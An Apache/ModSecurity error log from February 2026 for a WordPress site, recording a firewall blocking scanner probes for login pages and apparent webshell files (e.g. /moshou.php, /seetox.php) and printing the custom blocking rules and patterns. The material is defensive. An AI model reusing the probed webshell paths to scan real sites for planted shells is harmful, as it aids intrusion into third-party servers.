[Fri Feb 27 11:11:06.069171 2026] [:error] [pid 52073:tid 52096] [client 64.64.108.16:43457] [client 64.64.108.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/site-title/index.php"] [unique_id "aaELSoa650YPyxXVeRZbhgAAAZQ"]
[Fri Feb 27 11:11:07.079096 2026] [:error] [pid 54231:tid 54252] [client 64.64.108.62:63079] [client 64.64.108.62] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.64.108.62, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/includes/wp-login.php"] [unique_id "aaELS-Tvb5AeyJCdY7BumQAAAFI"]
[Fri Feb 27 11:11:07.651954 2026] [:error] [pid 54231:tid 54244] [client 64.64.108.62:63079] [client 64.64.108.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-includes/admin-bar.php"] [unique_id "aaELS-Tvb5AeyJCdY7BunAAAAEo"]
[Fri Feb 27 11:11:10.856066 2026] [:error] [pid 54231:tid 54248] [client 64.64.108.26:64165] [client 64.64.108.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/plugins.php"] [unique_id "aaELTuTvb5AeyJCdY7BuyQAAAE4"]
[Fri Feb 27 11:11:35.779765 2026] [:error] [pid 62998:tid 63016] [client 64.64.108.40:32293] [client 64.64.108.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/classic-editor/wp-login.php"] [unique_id "aaELZ1QeueXZDUmoLolYRAAAAQ4"]
[Fri Feb 27 11:11:37.193776 2026] [:error] [pid 62998:tid 63010] [client 64.64.108.30:57861] [client 64.64.108.30] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.64.108.30, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/classic-editor/wp-login.php"] [unique_id "aaELaVQeueXZDUmoLolYbQAAAQg"]
[Fri Feb 27 11:11:40.417024 2026] [:error] [pid 62998:tid 63014] [client 64.64.108.30:57861] [client 64.64.108.30] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.64.108.30, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/.tmb/wp-login.php"] [unique_id "aaELbFQeueXZDUmoLolYxAAAAQw"]
[Fri Feb 27 11:11:42.100991 2026] [:error] [pid 62998:tid 63021] [client 64.64.108.30:57861] [client 64.64.108.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/plugins.php"] [unique_id "aaELblQeueXZDUmoLolY-AAAARM"]
[Fri Feb 27 11:11:43.110399 2026] [:error] [pid 56075:tid 56093] [client 64.64.108.15:30433] [client 64.64.108.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/wp-login.php"] [unique_id "aaELb8KBhrfI6KNv9RiDTQAAAA8"]
[Fri Feb 27 11:11:44.081440 2026] [:error] [pid 49306:tid 49308] [client 64.64.108.44:41079] [client 64.64.108.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/install.php"] [unique_id "aaELcPnSUDZue59Px9to3AAAAUA"]
[Fri Feb 27 11:11:50.839293 2026] [:error] [pid 62998:tid 63017] [client 64.64.108.65:62709] [client 64.64.108.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/modules/karakaroa/wp-login.php"] [unique_id "aaELdlQeueXZDUmoLolaAwAAAQ8"]
[Fri Feb 27 11:11:51.791343 2026] [:error] [pid 54103:tid 54192] [client 64.64.108.28:51265] [client 64.64.108.28] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.64.108.28, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/modules/karakaroa/wp-login.php"] [unique_id "aaELd-vG4MPCmE0B2sArjwAAANU"]
[Fri Feb 27 11:11:52.365872 2026] [:error] [pid 54103:tid 54183] [client 64.64.108.28:51265] [client 64.64.108.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aaELeOvG4MPCmE0B2sArkwAAAMw"]
[Fri Feb 27 11:11:54.447583 2026] [:error] [pid 54102:tid 54164] [client 64.64.108.64:29619] [client 64.64.108.64] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.64.108.64, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "aaELeni74D4fiYUm_GcJFgAAAJQ"]
[Fri Feb 27 11:12:03.038295 2026] [:error] [pid 54102:tid 54154] [client 64.64.108.64:29619] [client 64.64.108.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/bun.php"] [unique_id "aaELg3i74D4fiYUm_GcJlAAAAIo"]
[Fri Feb 27 11:12:05.234606 2026] [:error] [pid 62998:tid 63010] [client 64.64.108.50:53607] [client 64.64.108.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/editor/fxp.php"] [unique_id "aaELhVQeueXZDUmoLola0wAAAQg"]
[Fri Feb 27 11:12:07.739700 2026] [:error] [pid 54231:tid 54253] [client 64.64.108.25:58989] [client 64.64.108.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/t.php"] [unique_id "aaELh-Tvb5AeyJCdY7BwsQAAAFM"]
[Fri Feb 27 11:12:13.090850 2026] [:error] [pid 54231:tid 54239] [client 64.64.108.40:30981] [client 64.64.108.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Cache/index.php"] [unique_id "aaELjeTvb5AeyJCdY7Bw5wAAAEU"]
[Fri Feb 27 11:12:21.236328 2026] [:error] [pid 54102:tid 54145] [client 64.64.108.42:34169] [client 64.64.108.42] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.64.108.42, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/bltm/wp-login.php"] [unique_id "aaELlXi74D4fiYUm_GcKpgAAAIE"]
[Fri Feb 27 11:13:14.604156 2026] [:error] [pid 54102:tid 54160] [client 64.64.108.42:34169] [client 64.64.108.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cekidot/"] [unique_id "aaELyni74D4fiYUm_GcNEQAAAJA"]
[Fri Feb 27 11:14:16.969229 2026] [:error] [pid 54101:tid 54122] [client 64.64.108.44:30015] [client 64.64.108.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/sid/"] [unique_id "aaEMCFY5qgRktcYTGFvsMQAAAc4"]
[Fri Feb 27 11:15:46.263622 2026] [authz_core:error] [pid 62998:tid 63017] [client 64.64.108.61:21349] AH01630: client denied by server configuration: /home/measureyourbrand/public_html/system/
[Fri Feb 27 11:52:37.643749 2026] [:error] [pid 52073:tid 52083] [client 172.190.142.176:46614] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/x123.php"] [unique_id "aaEVBYa650YPyxXVeRavJAAAAYc"]
[Fri Feb 27 11:52:39.619122 2026] [:error] [pid 56075:tid 56101] [client 172.190.142.176:46613] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/x123.php"] [unique_id "aaEVB8KBhrfI6KNv9Ri6ywAAABc"]
[Fri Feb 27 11:52:42.588445 2026] [:error] [pid 56075:tid 56088] [client 172.190.142.176:46649] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/x123.php"] [unique_id "aaEVCsKBhrfI6KNv9Ri61AAAAAs"]
[Fri Feb 27 11:52:45.439629 2026] [:error] [pid 49306:tid 49318] [client 172.190.142.176:46641] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/x123.php"] [unique_id "aaEVDfnSUDZue59Px9u0bwAAAUo"]
[Fri Feb 27 11:52:49.469459 2026] [:error] [pid 52073:tid 52083] [client 172.190.142.176:46653] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-act.php"] [unique_id "aaEVEYa650YPyxXVeRavWgAAAYc"]
[Fri Feb 27 11:52:52.265742 2026] [:error] [pid 52073:tid 52085] [client 172.190.142.176:46648] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-act.php"] [unique_id "aaEVFIa650YPyxXVeRavggAAAYk"]
[Fri Feb 27 11:52:55.571747 2026] [:error] [pid 52073:tid 52076] [client 172.190.142.176:46651] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-act.php"] [unique_id "aaEVF4a650YPyxXVeRavlQAAAYA"]
[Fri Feb 27 11:53:01.041173 2026] [:error] [pid 54231:tid 54242] [client 172.190.142.176:45316] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/moshou.php"] [unique_id "aaEVHeTvb5AeyJCdY7CdfAAAAEg"]
[Fri Feb 27 11:53:04.073084 2026] [:error] [pid 62998:tid 63012] [client 172.190.142.176:46532] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/moshou.php"] [unique_id "aaEVIFQeueXZDUmoLoml1AAAAQo"]
[Fri Feb 27 11:53:06.346158 2026] [:error] [pid 56075:tid 56097] [client 172.190.142.176:46636] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/moshou.php"] [unique_id "aaEVIsKBhrfI6KNv9Ri7FwAAABM"]
[Fri Feb 27 11:53:09.117130 2026] [:error] [pid 52073:tid 52096] [client 172.190.142.176:45324] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/moshou.php"] [unique_id "aaEVJYa650YPyxXVeRav1gAAAZQ"]
[Fri Feb 27 11:53:13.887982 2026] [:error] [pid 52073:tid 52097] [client 172.190.142.176:46639] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/seetox.php"] [unique_id "aaEVKYa650YPyxXVeRav8wAAAZU"]
[Fri Feb 27 11:53:15.930600 2026] [:error] [pid 62998:tid 63019] [client 172.190.142.176:46627] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/seetox.php"] [unique_id "aaEVK1QeueXZDUmoLoml9gAAARE"]
[Fri Feb 27 11:53:17.634581 2026] [:error] [pid 54231:tid 54258] [client 172.190.142.176:45320] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/seetox.php"] [unique_id "aaEVLeTvb5AeyJCdY7CdhQAAAFg"]
[Fri Feb 27 11:53:20.026722 2026] [:error] [pid 52073:tid 52097] [client 172.190.142.176:46626] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/seetox.php"] [unique_id "aaEVMIa650YPyxXVeRawEgAAAZU"]
[Fri Feb 27 11:53:20.829728 2026] [:error] [pid 52073:tid 52093] [client 172.190.142.176:45322] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/dom.php"] [unique_id "aaEVMIa650YPyxXVeRawGQAAAZE"]
[Fri Feb 27 11:53:24.038386 2026] [:error] [pid 52073:tid 52098] [client 172.190.142.176:46638] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/dom.php"] [unique_id "aaEVNIa650YPyxXVeRawMwAAAZY"]
[Fri Feb 27 11:53:28.970537 2026] [:error] [pid 52073:tid 52099] [client 172.190.142.176:45326] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/dom.php"] [unique_id "aaEVOIa650YPyxXVeRawUAAAAZc"]
[Fri Feb 27 11:53:32.196799 2026] [:error] [pid 49306:tid 49312] [client 172.190.142.176:46644] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/dom.php"] [unique_id "aaEVPPnSUDZue59Px9u1RQAAAUQ"]
[Fri Feb 27 11:53:36.262677 2026] [:error] [pid 49306:tid 49309] [client 172.190.142.176:45329] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ws60.php"] [unique_id "aaEVQPnSUDZue59Px9u1WwAAAUE"]
[Fri Feb 27 11:53:55.181321 2026] [:error] [pid 56075:tid 56091] [client 172.190.142.176:45346] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fault.php"] [unique_id "aaEVU8KBhrfI6KNv9Ri7sAAAAA0"]
[Fri Feb 27 11:53:58.202019 2026] [:error] [pid 49306:tid 49323] [client 172.190.142.176:45312] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fault.php"] [unique_id "aaEVVvnSUDZue59Px9u14wAAAU8"]
[Fri Feb 27 11:53:59.748804 2026] [:error] [pid 52073:tid 52096] [client 172.190.142.176:46640] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fault.php"] [unique_id "aaEVV4a650YPyxXVeRaxGgAAAZQ"]
[Fri Feb 27 11:54:02.379854 2026] [:error] [pid 62998:tid 63021] [client 172.190.142.176:46618] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fault.php"] [unique_id "aaEVWlQeueXZDUmoLommvwAAARM"]
[Fri Feb 27 11:54:06.604998 2026] [:error] [pid 49306:tid 49314] [client 172.190.142.176:45352] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/motu.php"] [unique_id "aaEVXvnSUDZue59Px9u2FwAAAUY"]
[Fri Feb 27 11:54:09.846196 2026] [:error] [pid 52073:tid 52086] [client 172.190.142.176:46578] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/motu.php"] [unique_id "aaEVYYa650YPyxXVeRaxSgAAAYo"]
[Fri Feb 27 11:54:13.825196 2026] [:error] [pid 52073:tid 52079] [client 172.190.142.176:49614] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/motu.php"] [unique_id "aaEVZYa650YPyxXVeRaxZAAAAYM"]
[Fri Feb 27 11:54:17.574272 2026] [:error] [pid 52073:tid 52097] [client 172.190.142.176:7800] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/motu.php"] [unique_id "aaEVaYa650YPyxXVeRaxdgAAAZU"]
[Fri Feb 27 11:54:20.873494 2026] [:error] [pid 52073:tid 52097] [client 172.190.142.176:7690] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/66.php"] [unique_id "aaEVbIa650YPyxXVeRaxhAAAAZU"]
[Fri Feb 27 11:54:23.548573 2026] [:error] [pid 62998:tid 63001] [client 172.190.142.176:7427] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/66.php"] [unique_id "aaEVb1QeueXZDUmoLomm4gAAAQA"]
[Fri Feb 27 11:54:25.871586 2026] [:error] [pid 49306:tid 49321] [client 172.190.142.176:7428] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/66.php"] [unique_id "aaEVcfnSUDZue59Px9u2WgAAAU0"]
[Fri Feb 27 11:54:29.129629 2026] [:error] [pid 49306:tid 49313] [client 172.190.142.176:46275] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/66.php"] [unique_id "aaEVdfnSUDZue59Px9u2YgAAAUU"]
[Fri Feb 27 11:54:30.529792 2026] [:error] [pid 56075:tid 56088] [client 172.190.142.176:7474] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/leuk.php"] [unique_id "aaEVdsKBhrfI6KNv9Ri73gAAAAs"]
[Fri Feb 27 11:54:38.200198 2026] [:error] [pid 56075:tid 56099] [client 172.190.142.176:46296] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/leuk.php"] [unique_id "aaEVfsKBhrfI6KNv9Ri75wAAABU"]
